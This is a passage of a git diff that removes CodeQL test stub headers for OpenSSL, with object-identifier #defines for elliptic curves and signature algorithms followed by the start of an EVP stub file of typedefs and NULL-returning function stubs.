SN_wap_wsg_idm_ecid_wtls5 "wap-wsg-idm-ecid-wtls5" -#define NID_wap_wsg_idm_ecid_wtls4 737 -#define SN_wap_wsg_idm_ecid_wtls4 "wap-wsg-idm-ecid-wtls4" -#define NID_wap_wsg_idm_ecid_wtls3 736 -#define SN_wap_wsg_idm_ecid_wtls3 "wap-wsg-idm-ecid-wtls3" -#define NID_wap_wsg_idm_ecid_wtls1 735 -#define SN_wap_wsg_idm_ecid_wtls1 "wap-wsg-idm-ecid-wtls1" -#define NID_sect571r1 734 -#define SN_sect571r1 "sect571r1" -#define NID_sect571k1 733 -#define SN_sect571k1 "sect571k1" -#define NID_sect409r1 732 -#define SN_sect409r1 "sect409r1" -#define NID_sect409k1 731 -#define SN_sect409k1 "sect409k1" -#define NID_sect283r1 730 -#define SN_sect283r1 "sect283r1" -#define NID_sect283k1 729 -#define SN_sect283k1 "sect283k1" -#define NID_sect239k1 728 -#define SN_sect239k1 "sect239k1" -#define NID_sect233r1 727 -#define SN_sect233r1 "sect233r1" -#define NID_sect233k1 726 -#define SN_sect233k1 "sect233k1" -#define NID_sect193r2 725 -#define SN_sect193r2 "sect193r2" -#define NID_sect193r1 724 -#define SN_sect193r1 "sect193r1" -#define NID_sect163r2 723 -#define SN_sect163r2 "sect163r2" -#define NID_sect163r1 722 -#define SN_sect163r1 "sect163r1" -#define NID_sect163k1 721 -#define SN_sect163k1 "sect163k1" -#define NID_sect131r2 720 -#define SN_sect131r2 "sect131r2" -#define NID_sect131r1 719 -#define SN_sect131r1 "sect131r1" -#define NID_sect113r2 718 -#define SN_sect113r2 "sect113r2" -#define NID_sect113r1 717 -#define SN_sect113r1 "sect113r1" -#define NID_secp521r1 716 -#define SN_secp521r1 "secp521r1" -#define NID_secp384r1 715 -#define SN_secp384r1 "secp384r1" -#define NID_secp256k1 714 -#define SN_secp256k1 "secp256k1" -#define NID_secp224r1 713 -#define SN_secp224r1 "secp224r1" -#define NID_secp224k1 712 -#define SN_secp224k1 "secp224k1" -#define NID_secp192k1 711 -#define SN_secp192k1 "secp192k1" -#define NID_secp160r2 710 -#define SN_secp160r2 "secp160r2" -#define NID_secp160r1 709 -#define SN_secp160r1 "secp160r1" -#define NID_secp160k1 708 -#define SN_secp160k1 "secp160k1" -#define NID_secp128r2 707 -#define SN_secp128r2 "secp128r2" -#define NID_secp128r1 706 -#define SN_secp128r1 "secp128r1" -#define NID_secp112r2 705 -#define SN_secp112r2 "secp112r2" -#define NID_secp112r1 704 -#define SN_secp112r1 "secp112r1" -#define NID_ecdsa_with_SHA512 796 -#define SN_ecdsa_with_SHA512 "ecdsa-with-SHA512" -#define NID_ecdsa_with_SHA384 795 -#define SN_ecdsa_with_SHA384 "ecdsa-with-SHA384" -#define NID_ecdsa_with_SHA256 794 -#define SN_ecdsa_with_SHA256 "ecdsa-with-SHA256" -#define NID_ecdsa_with_SHA224 793 -#define SN_ecdsa_with_SHA224 "ecdsa-with-SHA224" -#define NID_ecdsa_with_Specified 792 -#define SN_ecdsa_with_Specified "ecdsa-with-Specified" -#define NID_ecdsa_with_Recommended 791 -#define SN_ecdsa_with_Recommended "ecdsa-with-Recommended" -#define NID_ecdsa_with_SHA1 416 -#define SN_ecdsa_with_SHA1 "ecdsa-with-SHA1" -#define NID_X9_62_prime256v1 415 -#define NID_X9_62_prime239v3 414 -#define SN_X9_62_prime239v3 "prime239v3" -#define NID_X9_62_prime239v2 413 -#define SN_X9_62_prime239v2 "prime239v2" -#define NID_X9_62_prime239v1 412 -#define SN_X9_62_prime239v1 "prime239v1" -#define NID_X9_62_prime192v3 411 -#define SN_X9_62_prime192v3 "prime192v3" -#define NID_X9_62_prime192v2 410 -#define SN_X9_62_prime192v2 "prime192v2" -#define NID_X9_62_prime192v1 409 -#define NID_X9_62_c2tnb431r1 703 -#define SN_X9_62_c2tnb431r1 "c2tnb431r1" -#define NID_X9_62_c2pnb368w1 702 -#define SN_X9_62_c2pnb368w1 "c2pnb368w1" -#define NID_X9_62_c2tnb359v1 701 -#define SN_X9_62_c2tnb359v1 "c2tnb359v1" -#define NID_X9_62_c2pnb304w1 700 -#define SN_X9_62_c2pnb304w1 "c2pnb304w1" -#define NID_X9_62_c2pnb272w1 699 -#define SN_X9_62_c2pnb272w1 "c2pnb272w1" -#define NID_X9_62_c2onb239v5 698 -#define SN_X9_62_c2onb239v5 "c2onb239v5" -#define NID_X9_62_c2onb239v4 697 -#define SN_X9_62_c2onb239v4 "c2onb239v4" -#define NID_X9_62_c2tnb239v3 696 -#define SN_X9_62_c2tnb239v3 "c2tnb239v3" -#define NID_X9_62_c2tnb239v2 695 -#define SN_X9_62_c2tnb239v2 "c2tnb239v2" -#define NID_X9_62_c2tnb239v1 694 -#define SN_X9_62_c2tnb239v1 "c2tnb239v1" -#define NID_X9_62_c2pnb208w1 693 -#define SN_X9_62_c2pnb208w1 "c2pnb208w1" -#define NID_X9_62_c2onb191v5 692 -#define SN_X9_62_c2onb191v5 "c2onb191v5" -#define NID_X9_62_c2onb191v4 691 -#define SN_X9_62_c2onb191v4 "c2onb191v4" -#define NID_X9_62_c2tnb191v3 690 -#define SN_X9_62_c2tnb191v3 "c2tnb191v3" -#define NID_X9_62_c2tnb191v2 689 -#define SN_X9_62_c2tnb191v2 "c2tnb191v2" -#define NID_X9_62_c2tnb191v1 688 -#define SN_X9_62_c2tnb191v1 "c2tnb191v1" -#define NID_X9_62_c2pnb176v1 687 -#define SN_X9_62_c2pnb176v1 "c2pnb176v1" -#define NID_X9_62_c2pnb163v3 686 -#define SN_X9_62_c2pnb163v3 "c2pnb163v3" -#define NID_X9_62_c2pnb163v2 685 -#define SN_X9_62_c2pnb163v2 "c2pnb163v2" -#define NID_X9_62_c2pnb163v1 684 -#define SN_X9_62_c2pnb163v1 "c2pnb163v1" -#define NID_X9_62_id_ecPublicKey 408 -#define SN_X9_62_id_ecPublicKey "id-ecPublicKey" -#define NID_X9_62_ppBasis 683 -#define SN_X9_62_ppBasis "ppBasis" -#define NID_X9_62_tpBasis 682 -#define SN_X9_62_tpBasis "tpBasis" -#define NID_X9_62_onBasis 681 -#define SN_X9_62_onBasis "onBasis" -#define NID_X9_62_id_characteristic_two_basis 680 -#define SN_X9_62_id_characteristic_two_basis "id-characteristic-two-basis" -#define NID_X9_62_characteristic_two_field 407 -#define SN_X9_62_characteristic_two_field "characteristic-two-field" -#define NID_X9_62_prime_field 406 -#define SN_X9_62_prime_field "prime-field" -#define NID_ansi_X9_62 405 -#define LN_ansi_X9_62 "ANSI X9.62" -#define SN_ansi_X9_62 "ansi-X9-62" -#define NID_dsaWithSHA1 113 -#define LN_dsaWithSHA1 "dsaWithSHA1" -#define SN_dsaWithSHA1 "DSA-SHA1" -#define NID_dsa 116 -#define LN_dsa "dsaEncryption" -#define SN_dsa "DSA" -#define NID_sm_scheme 1142 -#define SN_sm_scheme "sm-scheme" -#define NID_oscca 1141 -#define SN_oscca "oscca" -#define NID_ISO_CN 1140 -#define LN_ISO_CN "ISO CN Member Body" -#define SN_ISO_CN "ISO-CN" -#define NID_X9cm 185 -#define LN_X9cm "X9.57 CM ?" -#define SN_X9cm "X9cm" -#define NID_X9_57 184 -#define LN_X9_57 "X9.57" -#define SN_X9_57 "X9-57" -#define NID_ISO_US 183 -#define LN_ISO_US "ISO US Member Body" -#define SN_ISO_US "ISO-US" -#define NID_clearance 395 -#define SN_clearance "clearance" -#define NID_selected_attribute_types 394 -#define LN_selected_attribute_types "Selected Attribute Types" -#define SN_selected_attribute_types "selected-attribute-types" -#define NID_wap_wsg 679 -#define SN_wap_wsg "wap-wsg" -#define NID_wap 678 -#define SN_wap "wap" -#define NID_international_organizations 647 -#define LN_international_organizations "International Organizations" -#define SN_international_organizations "international-organizations" -#define NID_ieee_siswg 1171 -#define LN_ieee_siswg "IEEE Security in Storage Working Group" -#define SN_ieee_siswg "ieee-siswg" -#define NID_ieee 1170 -#define SN_ieee "ieee" -#define NID_certicom_arc 677 -#define SN_certicom_arc "certicom-arc" -#define NID_x509ExtAdmission 1093 -#define LN_x509ExtAdmission "Professional Information or basis for Admission" -#define SN_x509ExtAdmission "x509ExtAdmission" -#define NID_hmac_sha1 781 -#define LN_hmac_sha1 "hmac-sha1" -#define SN_hmac_sha1 "HMAC-SHA1" -#define NID_hmac_md5 780 -#define LN_hmac_md5 "hmac-md5" -#define SN_hmac_md5 "HMAC-MD5" -#define NID_gmac 1195 -#define LN_gmac "gmac" -#define SN_gmac "GMAC" -#define NID_identified_organization 676 -#define SN_identified_organization "identified-organization" -#define NID_member_body 182 -#define LN_member_body "ISO Member Body" -#define SN_member_body "member-body" -#define NID_joint_iso_ccitt 393 -#define NID_joint_iso_itu_t 646 -#define LN_joint_iso_itu_t "joint-iso-itu-t" -#define SN_joint_iso_itu_t "JOINT-ISO-ITU-T" -#define NID_iso 181 -#define LN_iso "iso" -#define SN_iso "ISO" -#define NID_ccitt 404 -#define NID_itu_t 645 -#define LN_itu_t "itu-t" -#define SN_itu_t "ITU-T" -#define LN_undef "undefined" -#define SN_undef "UNDEF" diff --git a/cpp/ql/test/stubs/crypto/openssl/evp_stubs.h b/cpp/ql/test/stubs/crypto/openssl/evp_stubs.h deleted file mode 100644 index 4bc1af0b15d6..000000000000 --- a/cpp/ql/test/stubs/crypto/openssl/evp_stubs.h +++ /dev/null @@ -1,4986 +0,0 @@ -#ifndef OSSL_EVP_H -#define OSSL_EVP_H - -// Common defines and integer types. -#define NULL 0 - -# define EVP_CTRL_INIT 0x0 -# define EVP_CTRL_SET_KEY_LENGTH 0x1 -# define EVP_CTRL_GET_RC2_KEY_BITS 0x2 -# define EVP_CTRL_SET_RC2_KEY_BITS 0x3 -# define EVP_CTRL_GET_RC5_ROUNDS 0x4 -# define EVP_CTRL_SET_RC5_ROUNDS 0x5 -# define EVP_CTRL_RAND_KEY 0x6 -# define EVP_CTRL_PBE_PRF_NID 0x7 -# define EVP_CTRL_COPY 0x8 -# define EVP_CTRL_AEAD_SET_IVLEN 0x9 -# define EVP_CTRL_AEAD_GET_TAG 0x10 -# define EVP_CTRL_AEAD_SET_TAG 0x11 -# define EVP_CTRL_AEAD_SET_IV_FIXED 0x12 -# define EVP_CTRL_GCM_SET_IVLEN EVP_CTRL_AEAD_SET_IVLEN -# define EVP_CTRL_GCM_GET_TAG EVP_CTRL_AEAD_GET_TAG -# define EVP_CTRL_GCM_SET_TAG EVP_CTRL_AEAD_SET_TAG -# define EVP_CTRL_GCM_SET_IV_FIXED EVP_CTRL_AEAD_SET_IV_FIXED -# define EVP_CTRL_GCM_IV_GEN 0x13 -# define EVP_CTRL_CCM_SET_IVLEN EVP_CTRL_AEAD_SET_IVLEN -# define EVP_CTRL_CCM_GET_TAG EVP_CTRL_AEAD_GET_TAG -# define EVP_CTRL_CCM_SET_TAG EVP_CTRL_AEAD_SET_TAG -# define EVP_CTRL_CCM_SET_IV_FIXED EVP_CTRL_AEAD_SET_IV_FIXED -# define EVP_CTRL_CCM_SET_L 0x14 -# define EVP_CTRL_CCM_SET_MSGLEN 0x15 - -typedef unsigned long size_t; - -typedef unsigned char uint8_t; -typedef unsigned int uint32_t; -typedef unsigned long long uint64_t; - -// Type aliases. -typedef int OSSL_PROVIDER; - -typedef int OSSL_FUNC_keymgmt_import_fn; - -typedef int OSSL_FUNC_digest_get_ctx_params_fn; - -typedef int OSSL_FUNC_cipher_settable_ctx_params_fn; - -typedef int ASN1_STRING; - -typedef int OSSL_FUNC_mac_set_ctx_params_fn; - -typedef int OSSL_FUNC_signature_digest_verify_update_fn; - -typedef int OSSL_FUNC_provider_get_reason_strings_fn; - -typedef int OSSL_FUNC_core_get_params_fn; - -typedef int OSSL_FUNC_rand_get_seed_fn; - -typedef int OSSL_FUNC_rand_instantiate_fn; - -typedef int OSSL_FUNC_keymgmt_gen_get_params_fn; - -typedef int EVP_PKEY_gen_cb; - -typedef int OSSL_FUNC_provider_unquery_operation_fn; - -typedef int OSSL_FUNC_cleanup_user_entropy_fn; - -typedef int OSSL_FUNC_asym_cipher_decrypt_fn; - -typedef int OSSL_FUNC_cipher_pipeline_decrypt_init_fn; - -typedef int X509_PUBKEY; - -typedef int OSSL_FUNC_BIO_puts_fn; - -typedef int OSSL_FUNC_signature_verify_fn; - -typedef int OSSL_FUNC_encoder_gettable_params_fn; - -typedef int OSSL_FUNC_keymgmt_validate_fn; - -typedef int EVP_PBE_KEYGEN_EX; - -typedef int OSSL_FUNC_keyexch_dupctx_fn; - -typedef int OSSL_FUNC_kdf_newctx_fn; - -typedef int OSSL_FUNC_signature_digest_verify_final_fn; - -typedef int OSSL_FUNC_signature_set_ctx_params_fn; - -typedef int OSSL_FUNC_rand_reseed_fn; - -typedef int OSSL_FUNC_SSL_QUIC_TLS_crypto_release_rcd_fn; - -typedef int OSSL_FUNC_store_open_fn; - -typedef int OSSL_FUNC_encoder_newctx_fn; - -typedef int EVP_KEYMGMT; - -typedef int OSSL_FUNC_core_vset_error_fn; - -typedef int EVP_KEYEXCH; - -typedef int OSSL_FUNC_signature_gettable_ctx_md_params_fn; - -typedef int OSSL_FUNC_CRYPTO_secure_free_fn; - -typedef int OSSL_FUNC_keymgmt_import_types_fn; - -typedef int OSSL_FUNC_signature_sign_message_update_fn; - -typedef int OSSL_FUNC_keymgmt_gen_gettable_params_fn; - -typedef int OSSL_FUNC_cipher_update_fn; - -typedef int OSSL_FUNC_mac_newctx_fn; - -typedef int OSSL_FUNC_keymgmt_set_params_fn; - -typedef int X509_ALGOR; - -typedef int OSSL_FUNC_signature_get_ctx_params_fn; - -typedef int ASN1_ITEM; - -typedef int EVP_SIGNATURE; - -typedef int OSSL_FUNC_CRYPTO_realloc_fn; - -typedef int OSSL_FUNC_BIO_new_file_fn; - -typedef int OSSL_FUNC_signature_sign_message_final_fn; - -typedef int OSSL_FUNC_cipher_newctx_fn; - -typedef int OSSL_FUNC_rand_nonce_fn; - -typedef int EVP_MD; - -typedef int OSSL_FUNC_kdf_reset_fn; - -typedef int OSSL_FUNC_keyexch_settable_ctx_params_fn; - -typedef int OSSL_FUNC_store_export_object_fn; - -typedef int OSSL_FUNC_CRYPTO_secure_allocated_fn; - -typedef int OSSL_FUNC_cipher_pipeline_update_fn; - -typedef int OSSL_FUNC_keyexch_freectx_fn; - -typedef int OSSL_FUNC_kdf_gettable_params_fn; - -typedef int OSSL_FUNC_rand_set_ctx_params_fn; - -typedef int OSSL_FUNC_signature_verify_message_init_fn; - -typedef int OSSL_FUNC_keymgmt_free_fn; - -typedef int OSSL_FUNC_rand_gettable_ctx_params_fn; - -typedef int OSSL_FUNC_signature_digest_sign_update_fn; - -typedef int OSSL_FUNC_keymgmt_has_fn; - -typedef int OSSL_FUNC_kdf_get_ctx_params_fn; - -typedef int OSSL_FUNC_provider_get0_dispatch_fn; - -typedef int OSSL_FUNC_signature_verify_message_update_fn; - -typedef int OSSL_FUNC_rand_lock_fn; - -typedef int EVP_KEM; - -typedef int OSSL_FUNC_BIO_read_ex_fn; - -typedef int X509_SIG_INFO; - -typedef int OSSL_FUNC_keymgmt_import_types_ex_fn; - -typedef int OSSL_FUNC_encoder_free_object_fn; - -typedef int OSSL_FUNC_asym_cipher_decrypt_init_fn; - -typedef int OSSL_FUNC_SSL_QUIC_TLS_alert_fn; - -typedef int OSSL_FUNC_cipher_get_params_fn; - -typedef int OSSL_FUNC_get_nonce_fn; - -typedef int ASN1_OBJECT; - -typedef int OSSL_LIB_CTX; - -typedef int OSSL_FUNC_keymgmt_gen_set_params_fn; - -typedef int OSSL_FUNC_provider_deregister_child_cb_fn; - -typedef int OSSL_PARAM; - -typedef int OSSL_FUNC_decoder_gettable_params_fn; - -typedef int OSSL_FUNC_cipher_pipeline_final_fn; - -typedef int OSSL_FUNC_signature_freectx_fn; - -typedef int EVP_PKEY_METHOD; - -typedef int OSSL_FUNC_CRYPTO_zalloc_fn; - -typedef int OSSL_FUNC_keymgmt_query_operation_name_fn; - -typedef int OSSL_FUNC_core_set_error_mark_fn; - -typedef int OSSL_FUNC_asym_cipher_gettable_ctx_params_fn; - -typedef int OSSL_FUNC_CRYPTO_free_fn; - -typedef int OSSL_FUNC_indicator_cb_fn; - -typedef int OSSL_FUNC_kdf_freectx_fn; - -typedef int ENGINE; - -typedef int EVP_PKEY; - -typedef int PKCS8_PRIV_KEY_INFO; - -typedef int OSSL_FUNC_signature_digest_verify_fn; - -typedef int OSSL_FUNC_mac_final_fn; - -typedef int OSSL_FUNC_core_pop_error_to_mark_fn; - -typedef int OSSL_FUNC_signature_verify_recover_fn; - -typedef int OSSL_FUNC_keymgmt_gen_settable_params_fn; - -typedef int OSSL_FUNC_provider_self_test_fn; - -typedef int OSSL_FUNC_digest_gettable_params_fn; - -typedef int OSSL_FUNC_CRYPTO_secure_malloc_fn; - -typedef int OSSL_FUNC_keymgmt_get_params_fn; - -typedef int OSSL_FUNC_mac_freectx_fn; - -typedef int OSSL_FUNC_cleanup_user_nonce_fn; - -typedef int EVP_SKEYMGMT; - -typedef int OSSL_FUNC_core_set_error_debug_fn; - -typedef int OSSL_FUNC_cipher_decrypt_skey_init_fn; - -typedef int OSSL_FUNC_BIO_new_membuf_fn; - -typedef int OSSL_FUNC_provider_query_operation_fn; - -typedef int OSSL_FUNC_signature_set_ctx_md_params_fn; - -typedef int OSSL_FUNC_encoder_does_selection_fn; - -typedef int OSSL_FUNC_kem_get_ctx_params_fn; - -typedef int OSSL_FUNC_cipher_gettable_params_fn; - -typedef int OSSL_FUNC_digest_final_fn; - -typedef int OSSL_FUNC_rand_generate_fn; - -typedef int EVP_PKEY_CTX; - -typedef int OSSL_FUNC_kem_decapsulate_fn; - -typedef int OSSL_FUNC_skeymgmt_generate_fn; - -typedef int OSSL_FUNC_asym_cipher_encrypt_init_fn; - -typedef int OSSL_FUNC_kdf_get_params_fn; - -typedef int OSSL_FUNC_cipher_encrypt_skey_init_fn; - -typedef int OSSL_FUNC_encoder_get_params_fn; - -typedef int OSSL_FUNC_asym_cipher_freectx_fn; - -typedef int OSSL_FUNC_CRYPTO_secure_clear_free_fn; - -typedef int OSSL_FUNC_store_load_fn; - -typedef int OSSL_FUNC_digest_update_fn; - -typedef int OSSL_FUNC_provider_up_ref_fn; - -typedef int OSSL_FUNC_SSL_QUIC_TLS_crypto_recv_rcd_fn; - -typedef int OSSL_FUNC_signature_digest_sign_init_fn; - -typedef int OSSL_FUNC_keymgmt_load_fn; - -typedef int OSSL_FUNC_keyexch_gettable_ctx_params_fn; - -typedef int OSSL_FUNC_rand_get_params_fn; - -typedef int OSSL_FUNC_rand_verify_zeroization_fn; - -typedef int OSSL_FUNC_skeymgmt_export_fn; - -typedef int OSSL_FUNC_BIO_free_fn; - -typedef int OSSL_FUNC_rand_settable_ctx_params_fn; - -typedef int OSSL_FUNC_cleanup_entropy_fn; - -typedef int OSSL_FUNC_encoder_settable_ctx_params_fn; - -typedef int OSSL_DISPATCH; - -typedef int OSSL_FUNC_OPENSSL_cleanse_fn; - -typedef int OSSL_FUNC_digest_dupctx_fn; - -typedef int OSSL_FUNC_kem_decapsulate_init_fn; - -typedef int EVP_MAC_CTX; - -typedef int OSSL_FUNC_digest_squeeze_fn; - -typedef int OSSL_FUNC_keyexch_set_ctx_params_fn; - -typedef int EVP_ENCODE_CTX; - -typedef int OSSL_FUNC_BIO_vsnprintf_fn; - -typedef int OSSL_FUNC_mac_dupctx_fn; - -typedef int OSSL_FUNC_kdf_derive_fn; - -typedef int OSSL_FUNC_encoder_set_ctx_params_fn; - -typedef int OSSL_FUNC_rand_freectx_fn; - -typedef int OSSL_FUNC_BIO_ctrl_fn; - -typedef int EVP_CIPHER; - -typedef int OSSL_FUNC_cipher_set_ctx_params_fn; - -typedef int OSSL_FUNC_rand_enable_locking_fn; - -typedef int OSSL_FUNC_keyexch_newctx_fn; - -typedef int OSSL_FUNC_signature_settable_ctx_params_fn; - -typedef int OSSL_FUNC_provider_gettable_params_fn; - -typedef int OSSL_FUNC_keymgmt_gen_set_template_fn; - -typedef int OSSL_FUNC_keymgmt_settable_params_fn; - -typedef int OSSL_FUNC_keymgmt_gen_cleanup_fn; - -typedef int OSSL_FUNC_kdf_set_ctx_params_fn; - -typedef int OSSL_FUNC_rand_unlock_fn; - -typedef int OSSL_FUNC_SSL_QUIC_TLS_yield_secret_fn; - -typedef int OSSL_FUNC_signature_digest_sign_fn; - -typedef int OSSL_FUNC_keymgmt_gettable_params_fn; - -typedef int OSSL_FUNC_kem_auth_encapsulate_init_fn; - -typedef int OSSL_FUNC_kem_encapsulate_fn; - -typedef int OSSL_FUNC_CRYPTO_secure_zalloc_fn; - -typedef int OSSL_FUNC_rand_get_ctx_params_fn; - -typedef int OSSL_FUNC_store_delete_fn; - -typedef int OSSL_FUNC_cipher_pipeline_encrypt_init_fn; - -typedef int OSSL_FUNC_cipher_dupctx_fn; - -typedef int OSSL_FUNC_store_settable_ctx_params_fn; - -typedef int FILE; - -typedef int OSSL_FUNC_provider_teardown_fn; - -typedef int OSSL_FUNC_kdf_dupctx_fn; - -typedef int OSSL_FUNC_decoder_newctx_fn; - -typedef int ASN1_BIT_STRING; - -typedef int OSSL_FUNC_core_clear_last_error_mark_fn; - -typedef int OSSL_FUNC_core_obj_create_fn; - -typedef int OSSL_FUNC_keyexch_init_fn; - -typedef int OSSL_FUNC_kem_gettable_ctx_params_fn; - -typedef int EVP_MD_CTX; - -typedef int OSSL_FUNC_decoder_decode_fn; - -typedef int OSSL_FUNC_mac_gettable_params_fn; - -typedef int OSSL_FUNC_kem_set_ctx_params_fn; - -typedef int OSSL_FUNC_encoder_encode_fn; - -typedef int OSSL_FUNC_core_gettable_params_fn; - -typedef int OSSL_FUNC_mac_gettable_ctx_params_fn; - -typedef int OSSL_FUNC_get_user_entropy_fn; - -typedef int OSSL_FUNC_kdf_gettable_ctx_params_fn; - -typedef int OSSL_FUNC_keymgmt_gen_fn; - -typedef int OSSL_FUNC_keyexch_set_peer_fn; - -typedef int OSSL_FUNC_core_obj_add_sigid_fn; - -typedef int OSSL_FUNC_keymgmt_export_types_ex_fn; - -typedef int OSSL_FUNC_kem_newctx_fn; - -typedef int OSSL_FUNC_signature_sign_init_fn; - -typedef int OSSL_FUNC_asym_cipher_get_ctx_params_fn; - -typedef int OSSL_FUNC_CRYPTO_clear_free_fn; - -typedef int OSSL_FUNC_encoder_freectx_fn; - -typedef int OSSL_FUNC_kem_freectx_fn; - -typedef int OSSL_FUNC_provider_get0_provider_ctx_fn; - -typedef int OSSL_FUNC_digest_copyctx_fn; - -typedef int OSSL_FUNC_provider_name_fn; - -typedef int OSSL_FUNC_cipher_decrypt_init_fn; - -typedef int EVP_PKEY_ASN1_METHOD; - -typedef int OSSL_FUNC_keyexch_get_ctx_params_fn; - -typedef int OSSL_FUNC_store_set_ctx_params_fn; - -typedef int ASN1_TYPE; - -typedef int OSSL_FUNC_skeymgmt_imp_settable_params_fn; - -typedef int OSSL_FUNC_cipher_get_ctx_params_fn; - -typedef int EVP_MAC; - -typedef int OSSL_FUNC_store_attach_fn; - -typedef int OSSL_FUNC_signature_get_ctx_md_params_fn; - -typedef int OSSL_FUNC_encoder_import_object_fn; - -typedef int OSSL_FUNC_cleanup_nonce_fn; - -typedef int OSSL_FUNC_kem_auth_decapsulate_init_fn; - -typedef int OSSL_CALLBACK; - -typedef int OSSL_FUNC_skeymgmt_import_fn; - -typedef int OSSL_FUNC_cipher_freectx_fn; - -typedef int OSSL_FUNC_asym_cipher_dupctx_fn; - -typedef int OSSL_FUNC_SSL_QUIC_TLS_crypto_send_fn; - -typedef int OSSL_FUNC_CRYPTO_clear_realloc_fn; - -typedef int OSSL_FUNC_signature_verify_recover_init_fn; - -typedef int OSSL_FUNC_provider_free_fn; - -typedef int EVP_RAND; - -typedef int OSSL_FUNC_digest_newctx_fn; - -typedef int OSSL_FUNC_cipher_final_fn; - -typedef int OSSL_FUNC_keymgmt_new_fn; - -typedef int EVP_CIPHER_CTX; - -typedef int OSSL_FUNC_decoder_does_selection_fn; - -typedef int OSSL_FUNC_signature_digest_verify_init_fn; - -typedef int OSSL_FUNC_digest_set_ctx_params_fn; - -typedef int OSSL_FUNC_rand_newctx_fn; - -typedef int OSSL_FUNC_BIO_vprintf_fn; - -typedef int OSSL_FUNC_keymgmt_gen_init_fn; - -typedef int EVP_RAND_CTX; - -typedef int OSSL_FUNC_store_close_fn; - -typedef int OSSL_FUNC_asym_cipher_encrypt_fn; - -typedef int OSSL_FUNC_mac_get_params_fn; - -typedef int OSSL_FUNC_get_entropy_fn; - -typedef int OSSL_FUNC_digest_gettable_ctx_params_fn; - -typedef int OSSL_FUNC_SSL_QUIC_TLS_got_transport_params_fn; - -typedef int OSSL_FUNC_skeymgmt_free_fn; - -typedef int OSSL_FUNC_mac_settable_ctx_params_fn; - -typedef int OSSL_FUNC_decoder_export_object_fn; - -typedef int OSSL_FUNC_rand_clear_seed_fn; - -typedef int OSSL_FUNC_mac_get_ctx_params_fn; - -typedef int OSSL_FUNC_digest_digest_fn; - -typedef int EVP_SKEY; - -typedef int OSSL_FUNC_cipher_gettable_ctx_params_fn; - -typedef int OSSL_FUNC_CRYPTO_malloc_fn; - -typedef int OSSL_FUNC_asym_cipher_settable_ctx_params_fn; - -typedef int OSSL_FUNC_signature_dupctx_fn; - -typedef int OSSL_FUNC_BIO_write_ex_fn; - -typedef int OSSL_FUNC_rand_set_callbacks_fn; - -typedef int OSSL_FUNC_keymgmt_match_fn; - -typedef int OSSL_FUNC_signature_digest_sign_final_fn; - -typedef int OSSL_FUNC_provider_get_params_fn; - -typedef int OSSL_FUNC_BIO_gets_fn; - -typedef int OSSL_FUNC_cipher_encrypt_init_fn; - -typedef int OSSL_FUNC_signature_verify_message_final_fn; - -typedef int BIGNUM; - -typedef int OSSL_FUNC_digest_freectx_fn; - -typedef int OSSL_FUNC_asym_cipher_set_ctx_params_fn; - -typedef int OSSL_FUNC_signature_gettable_ctx_params_fn; - -typedef int BIO; - -typedef int OSSL_FUNC_digest_get_params_fn; - -typedef int OSSL_FUNC_skeymgmt_get_key_id_fn; - -typedef int OSSL_FUNC_rand_uninstantiate_fn; - -typedef int OSSL_FUNC_decoder_get_params_fn; - -typedef int OSSL_FUNC_signature_newctx_fn; - -typedef int OSSL_FUNC_signature_sign_fn; - -typedef int OSSL_FUNC_decoder_set_ctx_params_fn; - -typedef int OSSL_FUNC_kem_dupctx_fn; - -typedef int OSSL_FUNC_get_user_nonce_fn; - -typedef int OSSL_FUNC_mac_init_skey_fn; - -typedef int ASN1_PCTX; - -typedef int OSSL_FUNC_provider_get_capabilities_fn; - -typedef int OSSL_FUNC_provider_register_child_cb_fn; - -typedef int OSSL_FUNC_kem_settable_ctx_params_fn; - -typedef int OSSL_FUNC_signature_query_key_types_fn; - -typedef int OSSL_FUNC_signature_settable_ctx_md_params_fn; - -typedef int OSSL_FUNC_asym_cipher_newctx_fn; - -typedef int OSSL_FUNC_store_open_ex_fn; - -typedef int OSSL_FUNC_keyexch_derive_fn; - -typedef int OSSL_FUNC_kdf_settable_ctx_params_fn; - -typedef int OSSL_FUNC_skeymgmt_gen_settable_params_fn; - -typedef int OSSL_FUNC_digest_settable_ctx_params_fn; - -typedef int OSSL_FUNC_kem_encapsulate_init_fn; - -typedef int OSSL_FUNC_core_new_error_fn; - -typedef int OSSL_FUNC_BIO_up_ref_fn; - -typedef int OSSL_FUNC_self_test_cb_fn; - -typedef int OSSL_FUNC_keymgmt_export_types_fn; - -typedef int OSSL_FUNC_core_get_libctx_fn; - -typedef int OSSL_FUNC_digest_init_fn; - -typedef int EVP_ASYM_CIPHER; - -typedef int OSSL_FUNC_decoder_settable_ctx_params_fn; - -typedef int OSSL_FUNC_signature_sign_message_init_fn; - -typedef int OSSL_FUNC_rand_gettable_params_fn; - -typedef int OSSL_FUNC_mac_update_fn; - -typedef int OSSL_FUNC_keymgmt_export_fn; - -typedef int OSSL_FUNC_provider_random_bytes_fn; - -typedef int OSSL_FUNC_decoder_freectx_fn; - -typedef int OSSL_FUNC_mac_init_fn; - -typedef int OSSL_FUNC_store_eof_fn; - -typedef int OSSL_FUNC_signature_verify_init_fn; - -typedef int EVP_PBE_KEYGEN; - -typedef int OSSL_FUNC_core_thread_start_fn; - -typedef int OSSL_FUNC_cipher_cipher_fn; - -typedef int OSSL_FUNC_keymgmt_dup_fn; - -// Function stubs. -OSSL_FUNC_core_gettable_params_fn * OSSL_FUNC_core_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_get_params_fn * OSSL_FUNC_core_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_thread_start_fn * OSSL_FUNC_core_thread_start(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_get_libctx_fn * OSSL_FUNC_core_get_libctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_new_error_fn * OSSL_FUNC_core_new_error(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_set_error_debug_fn * OSSL_FUNC_core_set_error_debug(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_vset_error_fn * OSSL_FUNC_core_vset_error(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_set_error_mark_fn * OSSL_FUNC_core_set_error_mark(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_clear_last_error_mark_fn * OSSL_FUNC_core_clear_last_error_mark(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_core_pop_error_to_mark_fn * OSSL_FUNC_core_pop_error_to_mark(const OSSL_DISPATCH * opf) { - return NULL; -} - 